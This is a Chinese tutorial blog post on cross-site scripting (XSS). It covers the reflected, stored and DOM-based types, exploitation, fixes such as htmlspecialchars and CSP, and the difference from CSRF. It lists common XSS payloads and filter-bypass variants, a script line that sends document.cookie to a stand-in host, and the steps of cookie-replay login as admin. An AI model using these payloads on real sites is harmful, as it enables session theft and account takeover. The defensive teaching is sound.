当前位置:网站首页>【Web漏洞探索】跨站脚本漏洞
【Web漏洞探索】跨站脚本漏洞
2022-08-04 19:53:00 【byzf】
文章目录
一、什么是跨站脚本漏洞
跨站脚本(Cross-site scripting简称为"CSS",为避免与前端叠成样式表的缩写"CSS"冲突,故称为XSS)允许攻击者破坏用户与易受攻击的应用程序的交互。它允许攻击者绕过同源策略,该策略旨在将不同的网站相互隔离。跨站点脚本漏洞通常允许攻击者伪装成受害者用户,执行用户能够执行的任何操作,并访问用户的任何数据。如果受害者用户在应用程序中具有特权访问权限,那么攻击者可能能够完全控制应用程序的所有功能和数据。
二、跨站脚本漏洞成因
形成XSS漏洞的主要原因是程序对输入与输出的控制不够严格,导致精心构造的脚本输入后在输出到前端时被浏览器当作有效代码进行解析从而产生危害。
一般XSS可以分为如下几种常见类型
- 反射性XSS
交互的数据一般不存放于数据库中,是一次性的响应,所见即所得,一般出现在信息查询、显示页面等。
- 存储型XSS
一般与数据库、文件之间存在数据交互,永久性存储,常出现在留言板、注册等界面。
- DOM型XSS
DOM(Document Object Model)型XSS类似于反射型,漏洞存在于客户端代码而不是服务器端代码中,通过DOM操作前端代码输出的时候产生的问题。使用DOM可以使程序和脚本能够动态访问和更新文档的内容、结构及样式。
三、漏洞攻击利用手法
XSS漏洞利用步骤
- 用户访问XSS页面,触发XSS脚本,服务器返回“带恶意JS”的页面
- 客户端执行脚本,发送窃取到的
cookie
- 攻击者使用窃取到的
cookie
伪造用户登录,造成破坏
XSS常用语句
<scirpt>alert(xss)</scirpt>
<ScirPt>alert(xss)</ScirPt> // 大小写绕过
<scirpt>eval(atob('YWxlcnQoeHNzKQ=='))</scirpt> // 加密绕过
javascript:alert(document.cookie) // javascript伪协议绕过
<img src=xss onerror=alert(xss)>
<svg onload=alert(xss)>
<a href=javascript:alert(xss)>
<script>document.location = 'http://test.com/cookie.php?cookie=' +document.cookie;</script>
另外,HTML5引入了许多新标签,例如<audio>、<video>、<canvas>、<article>及<footer>
等,这些新标签所对应的属性,例如poster、autofocus、onerror、formaction及oninput
等,都是可以用来构造跨站脚本漏洞代码的。
反射型XSS
反射型XSS是最简单的跨站点脚本。当应用程序接收到HTTP请求中的数据并以不安全的方式将该数据包含在即时响应中时,就会出现这种情况。
攻击者通过电子邮件、XSS恶意平台回连等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接收该目标用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。
存储的XSS
当应用程序从不受信任的来源接收数据并以不安全的方式将该数据包含在其以后的HTTP响应中时,就会出现存储型XSS(也称为持久性或二阶XSS)。
往往存在于论坛、博客和留言板,攻击者在发帖时将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永久地被存放在服务器后端存储中,当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中得到执行。
基于DOM的XSS
基于DOM的XSS(也称为DOM XSS)在应用程序包含一些客户端JavaScript
时出现,该JavaScript
以不安全的方式处理来自不受信任源的数据,通常通过将数据写回DOM。
用户请求一个经过专门设计的URL,其中包含XSS代码提交后。服务器的响应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存在XSS漏洞。
Cookie欺骗流程
Cookie欺骗的具体流程如下
- 使用XSS漏洞远程获取受害者的Cookie
- 本地使用普通用户登录系统,服务器会在该普通用户的本地生成该用户对应的Cookie
- HTTP头中存放用户对应的Cookie字段及Cookie值
- 使用XSS获取的admin用户的Cookie值替换该处普通用户的Cookie值
- 发送替换后的数据报文,admin用户登录成功
四、修复以及预防
加强对用户输入的验证
对用户输入的特殊字符进行严格过滤,如'、"、<、>、/、*、;、+、-、&、|、(、)、and、or、select、union、drop、delete
htmlspecialchars()
htmlspecialchars()
函数用于过滤XSS,把预定义的字符转换为HTML实体。
htmlspecialchars(string,flags,character-set,double_encode)
第二个参数flags须注意,使用htmlspecialchars()函数不当仍然可以在过滤XSS时被绕过。由于flags参数对于引号的编码如下
- ENT_COMPAT - 默认,仅编码双引号。
- ENT_QUOTES - 编码双引号和单引号。
- ENT_NOQUOTES - 不编码任何引号。
Cookie防盗
避免直接在cookie
中泄露用户隐私,例如email
、密码、账号信息等。其次通过使cookie
和系统ip
绑定来降低cookie
泄露后的危险。这样攻击者得到的cookie
没有实际价值,不能拿来重放。
输出上编码数据
在HTTP响应中输出用户可控数据时,对输出进行编码以防止其被解释为恶意内容。根据输出上下文,这可能需要应用HTML
、URL
、JavaScript
和CSS
编码的组合。
使用响应标头
为防止HTTP
响应中不包含任何HTML
或JavaScript
的XSS,可以使用Content-Type
和X-Content-Type-Options
标头来确保浏览器以这种方式响应。
内容安全政策
作为最后一道防线,可以使用内容安全策略(CSP,Content Security Policy)来降低仍然发生XSS漏洞的严重性。
五、XSS和CSRF的区别
定义
XSS跨站脚本是一种网站应用程序的安全漏洞攻击,是代码注入的一种。允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。
CSRF跨站请求伪造也被称为one-click attack
或session riding
,是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法,完成一些违背用户意愿的请求(如恶意发帖、删帖、改密码、发邮件等)。
区别
虽然这两个词常常一起出现,但他们的目的是不一样的。XSS更偏向于方法论,CSRF更偏向于一种形式,只要是伪造用户发起的请求,都可成为CSRF攻击。XSS是获取用户的凭证信息,而CSRF是直接利用。
通常来说CSRF是由XSS实现的,所以CSRF时常也被称为XSRF(用XSS的方式实现伪造请求),但实现的方式不止一种,还可以直接通过命令行模式(敲命令来发起请求)直接伪造请求(只要通过合法验证即可)。
XSS则更偏向于代码实现(即写一段拥有跨站请求功能的JavaScript
脚本注入到一条帖子里,然后有用户访问了这个帖子,这就算是中了XSS攻击了),CSRF更偏向于一个攻击结果,只要发起了冒牌的请求就算是CSRF了。
六、附录
参考链接:
https://portswigger.net/web-security/cross-site-scripting
https://blog.csdn.net/qq_45590334/article/details/112263958
https://mp.weixin.qq.com/s/CfeTI4jfHemV8cSASYCa0w
https://ssthouse.github.io/visual-explain/#/list/domRender
https://www.php.net/htmlspecialchars
边栏推荐
- Video Object Detection
- Jmeter - Heap配置原因报错Invalid initial heap size: -Xms1024m -Xmx2048mError
- How to manually download and install SAP Fiori tools - Extension Pack for Visual Studio Code
- A complete cross-compilation environment records the shell scripts generated by peta
- 搭建MyCat2一主一从的MySQL读写分离
- AWS SES 的监控和告警
- 《支付宝体验设计精髓》一书,跟测试相关性知识记录
- Openharmony code framework (2) the person that
- 03 ts类型缩小,函数
- 电脑一键重装系统内存完整性无法打开怎么办
猜你喜欢
随机推荐
awk 统计差值记录
2022年国内手机满意度榜单:华为稳坐国产品牌第一
Regular expression is incomplete
如何让远在的老板看到你!----------来自财富中国网
JS手写JSON.stringify() (面试)
Latex分章节、分段落编译:input{}与include{}的区别
v-model的使用
《支付宝体验设计精髓》一书,跟测试相关性知识记录
MogDB学习笔记-环境准备及单实例安装
Force KouTi (5), the longest text string back
六月 致 -.-- -..- -
正畸MIA微种植体支抗技术中国10周年交流会在沈举办
Storage resource activation system to help new infrastructure
哈佛架构 VS 冯·诺依曼架构
实现菜单拖拽排序
宏定义小方法
华为企业组网实例:VRRP+MSTP典型组网配置
visual studio 与 visual studio code
【有奖征文】秋招特训,打造你的专属产品体验
awk statistical average max min